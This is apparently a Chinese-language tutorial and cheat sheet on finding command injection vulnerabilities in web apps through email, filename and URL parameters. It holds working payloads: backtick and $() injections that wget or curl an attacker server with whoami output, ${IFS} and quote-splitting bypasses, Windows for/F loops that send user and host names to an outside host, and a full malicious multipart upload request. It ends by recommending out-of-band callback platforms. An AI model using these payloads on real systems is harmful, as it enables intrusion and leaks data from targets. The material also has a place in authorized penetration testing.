命令执行漏洞挖掘技巧分享

1.1 前言

1.第三方开源通用框架/第三方类库的使用，如Struts，Jenkins等
2.业务逻辑处理直接拼接用户可控参数区执行系统命令或者拼凑回调函数代码，中途无任何安全过滤比如说: 应用有时需要调用一些执行系统命令的函数，如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等，当用户能控制这些函数中的参数时，就可以将恶意系统命令拼接到正常命令中，从而造成命令执行攻击，这就是命令执行漏洞。
这里以php说明含义，任何一门编程语言，使用到了一些系统命令的函数，均可能存在命令执行漏洞。
我们常常知道，命令执行漏洞多数在白盒测试中被挖掘出来，即使我们挖了命令执行，也只是第三方的框架漏洞居多！如Struts命令执行，而那种最基本的命令执行挖掘的案例所见很少。
这次我要详细分享下因为滥用系统命令不当导致的命令执行漏洞挖掘，在黑盒测试中如何更好的fuzz出来?下面我将分享我的经验！

1.2 漏洞挖掘

再测试SSRF的地方尝试测试命令执行
尝试在url,xxxurl等参数下测试命令执行
如输入http://服务器ip/ 采用nc监听探测是否访问。
尝试 输入http:// `sleep 5`.服务器地址/ 出现延迟就说明存在注入
尝试输入 http://服务器地址/$(whoami)
尝试输入http://`whoami`.服务器地址

现在搭建网站多以linux做网站服务器，以linux为例子讲解:
作为曾经写过一段时间业务代码的我来说，在挖掘命令执行漏洞时，我经常思考，哪些地方更有可能存在命令执行漏洞呢？
网站邮箱注册，填写邮箱，邮箱验证处，是否可能存在第三方接口的调用导致安全安全问题呢？
1.2.1 Email案例分享:

payload:”email”: `wget%20xxx.ceye.io/xxxx`@qq.com”
第三方的监控平台会收到一个请求:

可以把网址内容改成服务器地址，然后服务器上nc –lvvp 80监听即可，真实
服务器后端通过命令处理了我们传递的email参数等逻辑信息
通过这个小案例，既然email可能存在问题，那么name，filename是否也存在类似的问题？filename是否会在程序中调用了重命名，亦或是删除等系统命令？
答案是肯定的，概率很大，这类命令执行曝洞概率极高。

1.2.2 Filename案例分享：
文件上传处:存在问题参数filename:
filename输入基础命令探测:`sleep 5`
发现出现了很大的延迟（网站本身延迟+5）

基本可以判断出可能存在命令执行漏洞。
使用curl发起请求：

第三方平台成功响应

命令执行到文件读取：

1.2.3 乌云案例分享：
这个案例是我在乌云看到的，很幸运自己能看到这个安全案例：
完整数据包：
POST /index.php HTTP/1.1
Content-Length: 364
Content-Type: multipart/form-data; boundary=-----AcunetixBoundary_NHDUMYQDQJ
Host: xxx.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="submit"
submit
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="ver"
set|set&set
-------AcunetixBoundary_NHDUMYQDQJ
Content-Disposition: form-data; name="file"; filename=";set|set&set;"
Content-Type: image/png
-------AcunetixBoundary_NHDUMYQDQJ—
发包响应：

列出所有系统路径。他这里fuzz的技巧很好，一般我们测试命令注入都是|payload亦或是&payload，亦或是;payload，他这里把三种测试方法都归到一块变成: ;payload|payload&payload
payload可以是直接回显的set或者是ls等参数，也可以是远程curl,wget探测！
凡是name，filename等参数是很容易爆发出命令执行漏洞的，这些参数是我们fuzz中重点的关照对象。我们一定要对这些点进行多测试！

1.2.4 其他信息收集到的命令执行真实案例：

还有哪些地方可能存在命令执行呢？发动你的思维，在url参数上，不仅仅可能存在ssrf漏洞，也有很大概率存在命令执行，很大可能调用系统命令如curl，那么在文件下载处就很大概率会调用wget！在查看图片，查看文件等地方可能会使用cat命令等，在文件删除上，我们可能会用到rm命令！一切皆有可能！
最后！！！！！！

1.3 我的rce挖掘小手册分享：
Window下||和&
linux下||和&
Linux下过滤空格可以使用:${IFS},$IFS,$IFS$9
JSON格式下的测试:
\u000awget\u0020 http://服务器地址
Linux下可以包括反引号，windows下不可以。
Linux下正常测试rce:
curl http://服务器地址/`whoami`
ping `whoami`.服务器地址
一些绕过姿势:
curl http://服务器地址/$(whoami)
curl http://服务器地址/$(whoami|base64)
'w'g'e't${IFS}服务器地址
Windows下rce探测:
ping %USERNAME%.服务器地址
for /F %x in ('whoami') do start http://服务器地址/%x(获取计算机名)
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.服务器地址（获取用户名）
测试邮箱:`wget%209服务器地址/xxxx`@qq.com
测试上传:`sleep 10`filename
测试filenname:||wget%20服务器地址
测试上传处下的名称: ;payload|payload&payload

1.4 没钱买服务器的看这里！福利福利！！！
第三方接收平台1:
http://ceye.io/
第三方接收平台2:(本人强烈推荐)
注册: https://exeye.io/register 邀请码: exeye2017
登录: https://exeye.io/login
好处:比接收平台1功能更全，支持https的，记录完整的请求数据包，可以接收referer，偷referer信息！